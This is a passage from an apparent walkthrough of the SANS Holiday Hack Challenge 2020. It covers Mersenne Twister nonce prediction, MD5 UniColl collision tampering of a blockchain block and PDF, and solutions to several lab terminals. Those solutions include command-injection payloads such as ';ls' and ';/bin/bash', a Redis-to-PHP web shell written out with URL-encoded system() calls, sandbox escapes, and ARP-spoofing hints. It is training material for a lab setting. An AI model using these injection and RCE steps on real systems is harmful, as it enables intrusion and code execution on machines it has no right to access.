So for 64-bit numbers, it will generate two 32-bit numbers and concatenate them! This works for any bit size, if the size is not a multiple of 32, it just drops the least significant bits of the last random number to match the right size. Let’s try it in an interpreter:

32-bit (left) vs 64-bit (right) random numbers
32-bit (left) vs 64-bit (right) random numbers

This a good news as we can still use the marsene-twister-predictor to predict the next nonces. We just need to extract the nonces from the blockchain, split each of them into two 32-bit numbers and feed them to the predictor. The following code extracts the nonces into nonces.txt:

extract nonces into a file
extract nonces into a file

Now we need to feed the last 624 numbers of the list to mt19937predict so that we can retrieve the future ones. As we have to find the nonce of the block 130000 (which is 4 blocks after the last one), we need to get the next 8 32-bit random numbers and concatenate the last 2 in their hexadecimal form:

$ cat nonces.txt | tail -n 624 | mt19937predict | head -n 8
1710059470 # used for block 129997
3074734778
15809261 # used for block 129998
25586365
3180594148 # used for block 129999
2219797255
4079973021 # used for block 130000
1460036376

We can get the final answer with Python:

1
2
>>> hex(1460036376)[2:]+hex(4079973021)[2:]
'57066318f32f729d'
57066318f32f729d

We can investigate the blockchain a little more and check if there is some block content that differs from others:

check what blocks have more than 1 document
check what blocks have more than 1 document

We have only one result, the block with ID 129459.

check what blocks have doc type different than PDF
check what blocks have doc type different than PDF

Again, we have only one result, the block with ID 129459.

weird block
weird block

This block is definitely shady. This elf has the highest possible score, there is some binary data that seems meaningless and the PDF size is the biggest of all the blocks. If we dump the PDF data, we get Jack Frost’s report:

Jack Frost report
Jack Frost report

This is probably the block that Tinsel Upatree was mentioning. The block that has been tampered with by Jack Frost to be the nicest person in the world!!

Opening the PDF with Adobe Reader may not work as the file may be flagged as corrupted. It can be read, however, with browsers like Chrome or Firefox.

11b - Naughty/Nice List with Blockchain Investigation Part 2


Objective 11b description
Objective 11b description

Let’s first confirm that Jack’s altered block is the shady block we found out in the previous Objective. The following code will uncover it based on the SHA256 that we are given:

find the altered block
find the altered block

The only output we get is, again, the block 129459!

So we know that Jack Frost has been able to alter the block and keep the same MD5 hash (collision) by changing only 4 bytes! The very first one seems obvious and is the sign that indicates if the elf is naughty or nice. We can change it from 1 to 0. This makes Jack the naughtiest elf on Earth!

We know from the hints gathered in the Snowball Game that the technique that was used by Jack to generate the collision was UniColl. The technique is described in this Hash Collision Exploitation slide deck (from slide 101 onward) and we can find some additional information here.

Without going into the cryptographic details, the UniColl collision technique characteristics are the following:

  • we can choose the prefix and it can be of any size
  • blocks are 64 bytes
  • the prefix is part of the collision blocks
  • given 2 binary blobs with the same MD5 hash, only 2 bytes are different. The first byte difference is +1 and the second byte difference is -1.
  • the first byte is the 10th byte of the last block containing the prefix
  • the second byte is the 10th byte of the next block

An example of the slide deck shows it more clearly:

https://speakerdeck.com/ange/colltris?slide=113
https://speakerdeck.com/ange/colltris?slide=113

Knowing that and by looking at the block data, we start to understand what changes have been done:

https://speakerdeck.com/ange/colltris?slide=113
https://speakerdeck.com/ange/colltris?slide=113

As we can see, the weird binary blob is part of the collision blocks and the second byte we have to change is probably in there. Let’s have a look at the collision blocks binary data. We can call the Block.block_data() method and print the first 192 bytes (the size of 3 collision blocks). After some data arrangement, we get:

collision blocks
collision blocks

The 10th byte of the last prefix block corresponds to our naughty/nice flag. So if we change it to 0, we will need to increment the 10th byte of the next block which is 0xd6. Let’s compute the hash after those 2 changes and check that the MD5 has not changed:

verify MD5 hashes before and after changes
verify MD5 hashes before and after changes

We got the first 2 bytes!

Jack Frost has as well tampered with the PDF file to show a fake report instead of the original one made by Shinny Upatree. He must have as well used some trick to get an MD5 collision. Let’s first have a look at the PDF file in a hex editor. We can use HexEd.it:

https://hexed.it/
https://hexed.it/

We see a first Catalog object (with a hidden message for Santa) that references the object 2 that is a Pages dictionary which indicates what are the pages of the document. The Pagesdictionary (in blue) only has 1 page (Count 1) and the page information is in the Kidobject 23.

We see as well another page tree that is not referenced (in green). It has as well only one page referred in Kid object 15. If we change the Catalog reference to object 3 and save this new document, we access what seems the original report on Jack Frost which says the exact opposite of the previous one:

Jack Frost original report
Jack Frost original report

This is the 3rd byte to change then! This looks again like Jack used a UniColl collision. The method to create such PDF is described here and at the end of the slide deck. The structure of such a PDF looks like this:

https://github.com/corkami/collisions#pdf
https://github.com/corkami/collisions#pdf

As per UniColl rules, if we increase the 10th byte of the prefix, we must decrease the 10th byte of the next block (64 bytes after). The Pages reference of our PDF, however, is not aligned to the 10th byte. This means that the prefix takes some additional bytes before the PDF data into account, so do not expect to have matching MD5 hashes when doing those changes with the PDF alone:

collision blocks (partial)
collision blocks (partial)

Let’s do those changes and verify that the block’s MD5 does not change. Knowing that the second byte is at index 127 of the PDF, we can do the following:

verify MD5 hashes before and after PDF changes
verify MD5 hashes before and after PDF changes

Seems like we have recovered the original block! We compute the SHA-256 hash as follows:

compute block SHA-256 hash
compute block SHA-256 hash
fff054f33c2134e0230efb29dad515064ac97aa8c68d33c58c01213a0d408afb

Jack initially added the new block with the correct data about him. However, the block was ready to be altered anytime. The initial PDF was already merged with the evil one and the collision blocks were already part of the documents. He then just needed to wait the right moment to change those 4 bytes without being spotted!

Tinsel does not seem more enthusiast than normal after this big achievement:

Epilogue

Time to go to Santa’s Balcony where Eve Snowshoes is waiting for Santa:

Let’s get back our avatar and come back to Eve. We have to trick again the Santavator as we did in Objective 10. Once in Santa’s Office, Tinsel says:

This time the door to the balcony is wide open. As soon as we enter it we unlock the last narrative:

narrative 7 of 7
narrative 7 of 7
Santa's balcony - THE END
Santa's balcony - THE END

And poor Jack to say:

Finally, Eve gives us access to some hidden swag!

HHC2020 Winner swag
HHC2020 Winner swag

CranPi Terminals

1 - Kringle Kiosk


[ELF] Shiny Upatree [LOCATION] Castle Approach
CranPi Terminal 1 location
CranPi Terminal 1 location

He suggests us a document on Command Injection:

  • Command Injection - There’s probably some kind of command injection vulnerability in the menu terminal.

After a welcome message we access the kiosk app:

kiosk menu
kiosk menu

The first menu shows a map of Santa’s castle:

castle's map
castle's map

The second menu displays the KringleCon III and Holiday Hack Challenge Code of Conduct and Terms of Use. The third menu shows the location of each elf:

elves' location
elves' location

The last menu is the only one that requires user input and seems the best place to try an injection:

print badge name
print badge name

If our input is concatenated to a system command without being sanitized first, there are chances that we can inject additional commands. We can, for instance, try to add ;ls to our name:

command injection
command injection

It worked and it works as well with other special characters like && or |. We can read the welcome.sh script with ;cat welcome.sh. We discover the logic of the script and where the vulnerability lies:

welcome.sh snippet 1
welcome.sh snippet 1

To fix the Command Injection vulnerability, we can enclose the $name variable in double-quotes:

bash -c ‘/usr/games/cowsay -f /opt/reindeer.cow “$name”’

We discover as well a hidden menu plant:

welcome.sh snippet 2
welcome.sh snippet 2

where spot our old friend Jason the Plant :)

Jason the Plant
Jason the Plant

We see that most of the outputs come from files that are stored in /opt. Let’s see if there are other hidden gems with ;ls -la /opt:

directory listing /opt
directory listing /opt

There are 2 additional files: mailbox.txt and success.txt. Both show ASCII art. Nothing else seems interesting, we can finally escape the kiosk app by calling bash ;/bin/bash:

kiosk escape
kiosk escape

Back to Shinny who gives us no less than 5 hints to complete Objective 2:

  • Find Santa’s Package - Find Santa’s package file from the cloud storage provider. Check Josh Wright’s talk for more tips!
  • Bucket_finder.rb - He even wrote a tool to search for unprotected buckets!
  • Santa’s Wrapper3000 - Santa’s Wrapper3000 is pretty buggy. It uses several compression tools, binary to ASCII conversion, and other tools to wrap packages.
  • Finding S3 Buckets - Robin Wood wrote up a guide about finding these open S3 buckets.
  • Leaky AWS S3 Buckets - It seems like there’s a new story every week about data exposed through unprotected Amazon S3 buckets.

2 - Linux Primer


[ELF] Sugarplum Mary [LOCATION] Courtyard
CranPi Terminal 2 location
CranPi Terminal 2 location

We get the following message when we launch the terminal:

The North Pole 🍭 Lollipop Maker: All the lollipops on this system have been stolen by munchkins. Capture munchkins by following instructions here and 🍭's will appear in the green bar below. Run the command “hintme” to receive a hint.

This challenge will be a list of Linux commands to run in the terminal. Here are the questions and answers:

$ ls /home/elf # or ls ~
HELP munchkin_19315479765589239 workshop
$ cat munchkin_19315479765589239
munchkin_24187022596776786
$ rm munchkin_19315479765589239
$ pwd
/home/elf
$ ls -la /home/elf # or ls -la ~
total 56
drwxr-xr-x 1 elf elf 4096 Dec 12 08:43 .
drwxr-xr-x 1 root root 4096 Dec 10 18:14 ..
-rw-r–r– 1 elf elf 31 Dec 10 18:18 .bash_history
-rw-r–r– 1 elf elf 220 Apr 4 2018 .bash_logout
-rw-r–r– 1 elf elf 3105 Dec 5 00:00 .bashrc
-rw-r–r– 1 elf elf 0 Dec 12 08:43 .munchkin_5074624024543078
-rw-r–r– 1 elf elf 807 Apr 4 2018 .profile
-rw-r–r– 1 elf elf 168 Dec 5 00:00 HELP
drwxr-xr-x 1 elf elf 20480 Dec 10 18:19 workshop
$ history
1 echo munchkin_9394554126440791
2 ls -la
3 cat HELP
4 ls
5 cat munchkin_19315479765589239
6 rm munchkin_19315479765589239
7 pwd 8 ls -la
9 history
$ env
[…]
z_MUNCHKIN=munchkin_20249649541603754
[…]
$ cd workshop
$ grep -i munchkin *.txt # the folder contains 500 text files
toolbox_191.txt:mUnChKin.4056180441832623
$ chmod +x lollipop_engine
$ ./lollipop_engine
munchkin.898906189498077
$ cd electrical
$ mv blown_fuse0 fuse0
$ ln -s fuse0 fuse1
$ cp fuse1 fuse2
$ echo “MUNCHKIN_REPELLENT” > fuse2
$ find /opt/munchkin_den/ -name munchkin* # searching for filename
$ grep -iR munchkin /opt/munchkin_den/ # searching for file content
$ find /opt/munchkin_den -iname *munchkin* # both failed, searching for case insensitive filename
/opt/munchkin_den
/opt/munchkin_den/apps/showcase/src/main/resources/mUnChKin.6253159819943018
$ find /opt/munchkin_den/ -type f -user munchkin
/opt/munchkin_den/apps/showcase/src/main/resources/template/ajaxErrorContainers/niKhCnUm_9528909612014411
$ find /opt/munchkin_den/ -type f -size +108k -size -110k
/opt/munchkin_den/plugins/portlet-mocks/src/test/java/org/apache/m_u_n_c_h_k_i_n_2579728047101724
$ ps -aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
init 1 0.0 0.0 65320 21336 pts/0 Ss+ 08:34 0:00 /usr/bin/python3 /usr/local/bin/tmuxp load ./mysession.yaml
elf 63312 0.6 0.0 84316 25840 pts/2 S+ 09:14 0:00 /usr/bin/python3 /14516_munchkin
elf 64339 0.0 0.0 36180 3336 pts/3 R+ 09:15 0:00 ps -aux
$ netstat -l
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:54321 0.0.0.0:* LISTEN
$ curl localhost:54321
munchkin.73180338045875
$ kill 63312 # PID of the process is 63312, seen in Q18

Once all the tasks are completed, Sugarplum gives us a few hints to complete Objective 3:

  • Electron Applications - It’s possible to extract the source code from an Electron app.
  • Electron ASAR Extraction - There are tools and guides explaining how to extract ASAR from Electron apps.

3 - Unescape Tmux


[ELF] Pepper Minstix [LOCATION] Castle Approach
CranPi Terminal 3 location
CranPi Terminal 3 location

The terminal welcomes us with the following message:

Can you help me?
I was playing with my birdie (she’s a Green Cheek!) in something called tmux,
then I did something and it disappeared!
Can you help me find her? We were so attached!!

We can start by listing the existing sessions with either tmux ls or tmux list-sessions. We get only one existing session:

0: 1 windows (created Sat Dec 12 19:25:09 2020) [80x24]

We can attach to it with tmux attach to get our birdie back:

tmux session 0
tmux session 0

Now that we solved Pepper’s issue, he gives us a few hints to complete Objective 4:

  • Santavator Operations - It’s really more art than science. The goal is to put the right colored light into the receivers on the left and top of the panel.

4 - Speaker UNprep


[ELF] Bushy Evergreen [LOCATION] Talks Lobby
CranPi Terminal 4 location
CranPi Terminal 4 location

We unlock the following hints:

  • Strings in Binary Files - The strings command is common in Linux and available in Windows as part of SysInternals.
  • Letting a Program Decrypt for You - While you have to use the lights program in /home/elf/ to turn the lights on, you can delete parts in /home/elf/lab/.
  • Lookup Table - For polyalphabetic ciphers, if you have control over inputs and visibility of outputs, lookup tables can save the day.

Bushy wants us to help him open the door of the Speaker Unpreparedness Room which is password protected. The terminal welcomes us with this message:

Help us get into the Speaker Unpreparedness Room!
The door is controlled by ./door, but it needs a password! If you can figure out the password, it’ll open the door right up!
Oh, and if you have extra time, maybe you can turn on the lights with ./lights activate the vending machines with ./vending-machines? Those are a little trickier, they have configuration files, but it’d help us a lot!
(You can do one now and come back to do the others later if you want)
We copied edit-able versions of everything into the ./lab/ folder, in case you want to try EDITING or REMOVING the configuration files to see how the binaries react.
Note: These don’t require low-level reverse engineering, so you can put away IDA and Ghidra (unless you WANT to use them!)

Let’s start by running the door binary:

$ ./door
You look at the screen. It wants a password. You roll your eyes - the password is probably stored right in the binary. There’s gotta be a tool for this…

What do you enter? >

Let’s look at the binary strings with strings door | more. We get pages and pages of strings but we find the password not far from the intro text:

strings door | more
strings door | more

The first goal is completed as we enter this password in the door binary. Next, the lights binary:

$ ./lights
The speaker unpreparedness room sure is dark, you’re thinking (assuming you’ve opened the door; otherwise, you wonder how dark it actually is)

You wonder how to turn the lights on? If only you had some kind of hin—

>>> CONFIGURATION FILE LOADED, SELECT FIELDS DECRYPTED: /home/elf/lights.conf

—t to help figure out the password… I guess you’ll just have to make do!

The terminal just blinks: Welcome back, elf-technician

What do you enter? > 1234
Beep boop invalid password

If we look at the lights.conf file, we see what seems an encrypted password and a username:

$ cat lights.conf
password: E$ed633d885dcb9b2f3f0118361de4d57752712c27c5316a95d9e5e5b124
name: elf-technician

Let’s do some tests in the lab folder where we can play with the config files:

  1. if we rename the config file, we get the error ERROR: Could not load /home/elf/lab/lights.conf,
  2. if we delete the password configuration, we get: Password is missing from the config file!,
  3. if we replace the password with a blank one, we get That would have turned on the lights!. Good! However, we cannot edit the production config file :(

If we talk again to Bushy, he gives us some other hint:

  1. if we remove the E$ suffix of the password, the application treats it as a clear-text password.

Seems like the app decrypts all the configuration that starts with E$. What if we set an encrypted name? As the app displays the username, what if we set the password value as the name?

decrypted lights password
decrypted lights password

It got decrypted! We run the production binary and enter the password to light on the Speaker Unpreparedness Room. Then Bushy adds:

The ./vending_machines binary asks as well for a password. The configuration file looks like this:

$ cat vending-machines.json
{
“name”: “elf-maintenance”,
“password”: “LVEdQPpBwr”
}

Let’s play again with the lab version. If we delete the configuration file, we are asked to recreate it and to set our own username and password:

set config file
set config file

The password is encrypted and stored in the configuration file:

{
“name”: “noob”,
“password”: “XiGRehmwXiGRehmwXiGR”
}

We see a pattern in the ciphertext. It looks like polyalphabetic encryption with a key long 8 characters (the A is encrypted as X every 8 chars). For BBBBBBBB we get DqTpKv7f. If we do that for all the alphabet in use [A-Za-z], we get the following lookup table:

lookup table
lookup table

The first letter (row) of the cipher-text L corresponds to the letter C of the plaintext (column). The second letter is V -> a…and so on. This gives us the password CandyCane1 with which we can activate the vending machine! The last words of Bushy are:

We unlock the hints to complete Objective 5:

  • What’s a Proxmark? - The Proxmark is a multi-function RFID device, capable of capturing and replaying RFID events.
  • Reading Badges with Proxmark - You can use a Proxmark to capture the facility code and ID value of HID ProxCard badge by running lf hid read when you are close enough to someone with a badge.
  • Impersonating Badges with Proxmark - You can also use a Proxmark to impersonate a badge to unlock a door, if the badge you impersonate has access. lf hid sim -r 2006……
  • Short List of Essential Proxmark Commands - There’s a short list of essential Proxmark commands also available.
  • Proxmark Talk - Larry Pesce knows a thing or two about HID attacks. He’s the author of a course on wireless hacking!

5 - CAN-Bus Investigation


[ELF] Wunorse Openslae [LOCATION] Roof
CranPi Terminal 5 location
CranPi Terminal 5 location
  • Filtering Text - You can hide lines you don’t want to see with commands like cat file.txt | grep -v badstuff
  • Chris Elgee is talking about how CAN traffic works right now!

We are asked to filter data in a file dump and find when the UNLOCK command was triggered:

CranPi Terminal 5 instructions
CranPi Terminal 5 instructions

The dump candump.log shows uncomprehensible information:

more candump.log
more candump.log

By watching Chris Elgee’s talk, we understand what a CAN Bus actually is. What we see in the last column of the dump is a CAN message that is composed of a CAN ID (3 chars) which represents a car component or action (i.e lock, brake, accelerate, etc.) followed by a data chunk that can indicate, for instance, if a lock opens/closes, or the value of the acceleration/deceleration, etc. The ID and the data are separated by the delimiter #.

As per the instructions, we know that the door lock CAN ID must be present 3 times only, 2 LOCK and 1 UNLOCK message. Let’s first count the number of unique CAN ID:

$ cat candump.log | awk ‘{print substr($3, 0, 4)}’ | sort | uniq -c
35 188
3 19B
1331 244

So it seems that the ID 19B is our candidate! If we filter them, we get:

$ cat candump.log | grep 19B#
(1608926664.626448) vcan0 19B#000000000000 # LOCK
(1608926671.122520) vcan0 19B#00000F000000 # UNLOCK
(1608926674.092148) vcan0 19B#000000000000 # LOCK

We can now send our answer to validate the challenge:

$ ./runtoanswer
There are two LOCK codes and one UNLOCK code in the log. What is the decimal portion of the UNLOCK timestamp?
(e.g., if the timestamp of the UNLOCK were 1608926672.391456, you would enter 391456.
> 122520

Wunorse seems still worried though:

We get a hint to complete Objective 7:

  • CAN ID Codes - Try filtering out one CAN-ID at a time and create a table of what each might pertain to. What’s up with the brakes and doors?

6 - Redis Bug Hunt


[ELF] Holly Evergreen [LOCATION] Kitchen
CranPi Terminal 6 location
CranPi Terminal 6 location
  • Redis RCE - This is kind of what we’re trying to do…

The terminal shows the following instructions:

We need your help!! The server stopped working, all that’s left is the maintenance port.
To access it, run:
curl http://localhost/maintenance.php
We’re pretty sure the bug is in the index page. Can you somehow use the maintenance page to view the source code for the index page?

Let’s curl the page and see what happens:

$ curl http://localhost/maintenance.php
ERROR: ‘cmd’ argument required (use commas to separate commands); eg:
curl http://localhost/maintenance.php?cmd=help
curl http://localhost/maintenance.php?cmd=mget,example1

We can run commands through the cmd variable. If we try the help command:

redis help
redis help

We see that our command is used as argument to redis-cli to show the Redis help. Let’s try the info command to show some server information:

redis info
redis info

As explained by Holly, we may exploit an RCE vulnerability in Redis. We can follow this procedure to write a PHP file in the web files and execute system calls. Spaces in commands must be replaced by commas. 

In our case, the web files are located in /var/www/html, so to change Redis working directory, we have to execute:

curl http://localhost/maintenance.php?cmd=config,set,dir,/var/www/html
curl http://localhost/maintenance.php?cmd=config,set,dir,/var/www/html

Then we set the file in which we want to write as the current database (here we create a new file rce.php):

curl http://localhost/maintenance.php?cmd=config,set,dbfilename,rce.php
curl http://localhost/maintenance.php?cmd=config,set,dbfilename,rce.php

We create a dummy value test containing what we want to write into the database file. As the goal is to read index.php, we can use the PHP system call to display it. Do not forget to URL-encode special characters:

curl http://localhost/maintenance.php?cmd=set,test,%3C%3Fphp%20echo%28system%28%22cat%20index.php%22%29%29%3b%3F%3E
curl http://localhost/maintenance.php?cmd=set,test,%3C%3Fphp%20echo%28system%28%22cat%20index.php%22%29%29%3b%3F%3E

Finally, we dump the Redis buffer containing our test value into our rce.php file with the save command:

curl http://localhost/maintenance.php?cmd=save
curl http://localhost/maintenance.php?cmd=save

Now we can curl our new PHP file to see the content of the index.php file and validate the challenge:

curl http://localhost/rce.php --output -
curl http://localhost/rce.php --output -

Holly gives us some hints to complete Objective 8:

  • Source Code Retrieval - We might be able to find the problem if we can get source code!
  • Error Page Message Disclosure - Can you figure out the path to the script? It’s probably on error pages!
  • Download File Mechanism - Once you know the path to the file, we need a way to download it!
  • Endpoint Exploration - Is there an endpoint that will print arbitrary files?
  • Content-Type Gotcha - If you’re having trouble seeing the code, watch out for the Content-Type! Your browser might be trying to help (badly)!
  • Source Code Analysis - I’m sure there’s a vulnerability in the source somewhere… surely Jack wouldn’t leave their mark?
  • Redirect to Download - If you find a way to execute code blindly, I bet you can redirect to a file then download that file!
  • Patience and Timing - Remember, the processing happens in the background so you might need to wait a bit after exploiting but before grabbing the output!

7 - Scapy Prepper


[ELF] Alabaster Snowball [LOCATION] Roof
CranPi 7 location
CranPi 7 location
terminal instructions
terminal instructions

This is a challenge around Scapy. Scapy is a Python program and library used to manipulate, sniff and dissect network packets. We will go through a few questions that will lead us through the basic usage of Scapy:

>>> task.submit(send)
Correct! The “send” scapy class will send a crafted scapy packet out of a network interface.
>>> task.submit(sniff)
Correct! the “sniff” scapy class will sniff network traffic and return these packets in a list.
>>> task.submit(1)
Correct! sr1 will send a packet, then immediately sniff for a response packet.
>>> task.submit(rdpcap)
Correct! the “rdpcap” scapy class can read pcap files.
>>> task.submit(2)
Correct! .show() can be used on lists of packets AND on an individual packet.
>>> task.submit(UDP_PACKETS[0])
Correct! Scapy packet lists work just like regular python lists so packets can be accessed by their position in the list starting at offset 0.
>>> task.submit(TCP_PACKETS[1][TCP])
Correct! Most of the major fields like Ether, IP, TCP, UDP, ICMP, DNS, DNSQR, DNSRR, Raw, etc… can be accessed this way. Ex - pkt[IP][TCP]
>>> UDP_PACKETS[0][IP].src = ‘127.0.0.1’
>>> task.submit(UDP_PACKETS[0])
Correct! You can change ALL scapy packet attributes using this method.

We can list all TCP info in all the packets with:

>>> [pkt[TCP] for pkt in TCP_PACKETS]

We see some packets with Raw data. The 7th packet contains a password:

>>> TCP_PACKETS[6]
<Ether dst=00:15:f2:40:76:ef src=00:16:ce:6e:8b:24 type=IPv4 |<IP version=4 ihl=5 tos=0x0 len=51 id=42982 flags=DF frag=0 ttl=128 proto=tcp chksum=0xd05a src=192.168.0.114 dst=192.168.0.193 |<TCP sport=1137 dport=ftp seq=3753095950 ack=3334930821 dataofs=5 reserved=0 flags=PA window=17357 chksum=0xe96b urgptr=0 |<Raw load=‘PASS echo\r\n’ |>>>>

>>> task.submit(‘echo’)
Correct! Here is some really nice list comprehension that will grab all the raw payloads from tcp packets:
[pkt[Raw].load for pkt in TCP_PACKETS if Raw in pkt]

By running the recommended command, we see that this is an FTP flow:

>>> [pkt[Raw].load for pkt in TCP_PACKETS if Raw in pkt]
[b'220 North Pole FTP Server\r\n', b’USER alabaster\r', b'331 Password required for alabaster.\r', b’PASS echo\r\n', b'230 User alabaster logged in.\r']

>>> hex(ICMP_PACKETS[1][ICMP].chksum)
‘0x4c44’

>>> task.submit(0x4c44)
Correct! You can access the ICMP chksum value from the second packet using ICMP_PACKETS[1][ICMP].chksum .

>>> task.submit(3)
Correct! Once you assign the packet to a variable named “pkt” you can then use that variable to send or manipulate your created packet.
>>> pkt = IP(dst=“127.127.127.127”)/UDP(dport=5000)
>>> task.submit(pkt)
Correct! Your UDP packet creation should look something like this:
pkt = IP(dst=“127.127.127.127”)/UDP(dport=5000)
task.submit(pkt)
>>> pkt = IP(dst=“127.2.3.4”)/UDP(dport=53)/DNS(qd=DNSQR(qname=“elveslove.santa”))
>>> task.submit(pkt)
Correct! Your UDP packet creation should look something like this:
pkt = IP(dst=“127.2.3.4”)/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname=“elveslove.santa”))
task.submit(pkt)

Let’s look at the second packet:

>>> ARP_PACKETS[1]
<Ether dst=00:16:ce:6e:8b:24 src=00:13:46:0b:22:ba type=ARP |<ARP hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=None hwsrc=ff:ff:ff:ff:ff:ff psrc=192.168.0.1 hwdst=ff:ff:ff:ff:ff:ff pdst=192.168.0.114 |<Padding load='\xc0\xa8\x00r' |>>>

The errors are:

  • hwsrc and hwdst are set to ff:ff:ff:ff:ff:ff and should be set to the Ethernet src and dst value,
  • the op value is set to None and should instead be set to ‘reply’ that has a value of 2.
>>> ARP_PACKETS[1][ARP].hwsrc=“00:13:46:0b:22:ba”
>>> ARP_PACKETS[1][ARP].hwdst=“00:16:ce:6e:8b:24”
>>> ARP_PACKETS[1][ARP].op=2
>>> task.submit(ARP_PACKETS)
Great, you prepared all the present packets!
Congratulations, all pretty present packets properly prepared for processing!

We can easily escape the Python interpreter by running:

>>> import os
>>> os.system('/bin/bash')

We talk again to Alabaster so that he gives us some hints to complete Objective 9:

  • Sniffy - Jack Frost must have gotten malware on our host at 10.6.6.35 because we can no longer access it. Try sniffing the eth0 interface using tcpdump -nni eth0 to see if you can view any traffic from that host.
  • Spoofy - The host is performing an ARP request. Perhaps we could do a spoof to perform a machine-in-the-middle attack. I think we have some sample scapy traffic scripts that could help you in /home/guest/scripts.
  • Resolvy - Hmmm, looks like the host does a DNS request after you successfully do an ARP spoof. Let’s return a DNS response resolving the request to our IP.
  • Embedy - The malware on the host does an HTTP request for a .deb package. Maybe we can get command line access by sending it a command in a customized .deb file.

Side Quests

The 33.6kbps Modem

Fitzy is waiting for us in the kitchen and has some issues with an old modem:

Fitzy Shortstack location
Fitzy Shortstack location

When we access the modem, we have to take the handset, compose the phone number we were given and then manually do the handshake based on the “well-known” dial-up modem sounds that old people, like me, still dream of :) You can see the solution below:


Once completed, Fitzy says:

If we do it a few more times, we can change the color scheme of the Christmas tree behind.

The Sort-O-Matic


[ELF] Minty Candycane [LOCATION] Workshop
Sort-O-Matic location
Sort-O-Matic location

We find Minty in the Workshop, he is struggling with a present sorting machine:

This challenge can as well be done on https://present-sorter.kringlecastle.com/.

Present Sort-O-Matic
Present Sort-O-Matic

We basically have to find the 8 regexes below in order to repair the Present Sort-O-Matic:

regexes
regexes

The solutions are:

Description Regex
Matches at least one digit [0-9] or \d
Matches 3 alpha a-z characters ignoring case [a-zA-Z]{3}
Matches 2 chars of lowercase a-z or numbers [a-z\d]{2}
Matches any 2 chars not uppercase A-L or 1-5 [^A-L1-5]{2}
Matches three or more digits only ^\d{3,}$
Matches multiple hour:minute:second time formats only ^([0-5]\d):([0-5]\d):([0-5]\d)$
Matches MAC address format only while ignoring case ^([\dA-Fa-f]{2}:){5}([\dA-Fa-f]{2})$
Matches multiple day, month, and year date formats only ^[0–3]\d[-./][0–1]\d[-./]\d{4}$

We passed the challenge and now all presents are sorted correctly:

Sort-O-Matic fixed
Sort-O-Matic fixed

Minty gives us some hints to complete Objective 6:

  • Adversary Emulation and Splunk - Dave Herrald talks about emulating advanced adversaries and hunting them with Splunk.
  • Data Decoding and Investigation - Defenders often need to manipulate data to decRypt, deCode, and reform it into something that is useful. Cyber Chef is extremely useful here!

The Elf C0de


[ELF] Ribb Bonbowford [LOCATION] Dining Room
The Elf C0de location
The Elf C0de location

A fun game awaits us in the Dining Room:

The following hints are given by the elf:

This challenge is a Javascript primer and can be as well accessed through https://elfcode.kringlecastle.com:

The Elf C0de - landing page
The Elf C0de - landing page

There are many levels and the goal of each level is always to program our elf to grab all the lollipops and reach the castle entrance by avoiding all the dangers on the map. The Object Help menu on the left as well as the How To Play The Elf C0de are good places to start.

level 1 map
level 1 map

It starts easy and we have 2 different solutions to move the elf:

1
2
elf.moveLeft(10)
elf.moveUp(10)

or

1
2
elf.moveTo(lollipop[0])
elf.moveUp(10)
level 2 map
level 2 map

The lever #0 objective is to add 2 to the returned numeric value of running the function elf.get_lever(0). We can submit the solution using elf.pull_lever(answer) while standing on the lever grid square. The solution is:

1
2
3
4
5
elf.moveTo(lever[0])
var sum = elf.get_lever(0) + 2
elf.pull_lever(sum)
elf.moveLeft(4)       // elf.moveTo(lollipop[0]) does not work here
elf.moveUp(10)
level 3 map
level 3 map

We can think of 2 different solutions here as well, one of them introducing loops:

1
2
3
4
elf.moveTo(lollipop[0])
elf.moveTo(lollipop[1])
elf.moveTo(lollipop[2])
elf.moveUp(1)

or

1
2
3
4
for (var i = 0; i < 3; i++) {
 elf.moveTo(lollipop[i])
}
elf.moveUp(1)
level 4 map
level 4 map

Here, we can loop 5 times, by alternating up and down directions, to guide the elf through the labyrinth:

1
2
3
4
for (var i = 0; i <= 5; i++) {
  elf.moveLeft(3)
  i % 2 == 0 ? elf.moveUp(11) : elf.moveDown(11)
}
level 5 map
level 5 map

The munchkin #0 objective is to use elf.ask_munch(0) to get an array of numbers and strings and to return the array with only the number with elf.tell_munch(answer).

Solution:

1
2
3
4
5
var arr = elf.ask_munch(0)
arr = arr.filter(e => typeof e !== 'string')
elf.moveTo(lollipop[0])    // will retrieve both lollipops!
elf.tell_munch(arr)
elf.moveUp(2)
level 6 map
level 6 map

There are 2 possible paths here. The first one involves pulling the lever to make the Munchkin fall. The other one involves answering the Munchkin question to let us pass. For both solutions, we can easily get out of the labyrinth by only using elf.moveTo(object) calls.

The lever #0 objective is to get an array and add the string munchkin rule as the first element. 

The munchkin #0 objective is to get a JSON object and we must return the key with a value of lollipop.

Solution 1 (with lever):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
for (var i = 0; i < 4; i++) {
  elf.moveTo(lollipop[i])
}
elf.moveTo(lever[0])
var arr = elf.get_lever(0)
arr.unshift("munchkins rule")
elf.pull_lever(arr)
elf.moveDown(3)
elf.moveLeft(6)
elf.moveUp(2)

Solution 2 (with Munchkin):

1
2
3
4
5
6
7
8
9
var json = elf.ask_munch(0)
var answer = Object.keys(json).find(key => json[key] === "lollipop")
for (var i = 0; i < 4; i++) {
  elf.moveTo(lollipop[i])
}
elf.moveLeft(8)
elf.moveUp(2)
elf.tell_munch(answer)
elf.moveUp(2)

We have passed the main levels and Ribb rewards us with a hint for Objective 10:

  • There may be a way to bypass the Santavator S4 game with the browser console…

There are still some bonus levels to complete though!!

level 7 map
level 7 map

The levers' objectives are all the same, we need to respond with the lever number and that’s it. Each lever will lift the next bridge.
The Munchkin #0 objective is:

Munchkin #0 objective
Munchkin #0 objective

There is an additional handicap: elf.moveTo(object) has been disabled. The solution is:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
for (var i = 0; i < 4; i++) {
  j = 2 * i
  i % 2 == 0 ? elf.moveDown(j + 1) : elf.moveUp(j + 1)
  elf.pull_lever(j)
  i % 2 == 0 ? elf.moveLeft(j + 2) : elf.moveRight(j + 2)
  elf.pull_lever(j + 1)
}
elf.moveUp(2)
elf.moveLeft(4)
function f(arr) {
  var sum = 0
  for (var i = 0; i < arr.length; i++) {
    a = arr[i].filter(e => typeof e !== 'string')
    sum = sum + a.reduce((a, b) => a + b, 0)
  }
  return sum
}
elf.tell_munch(f)
elf.moveUp(2)
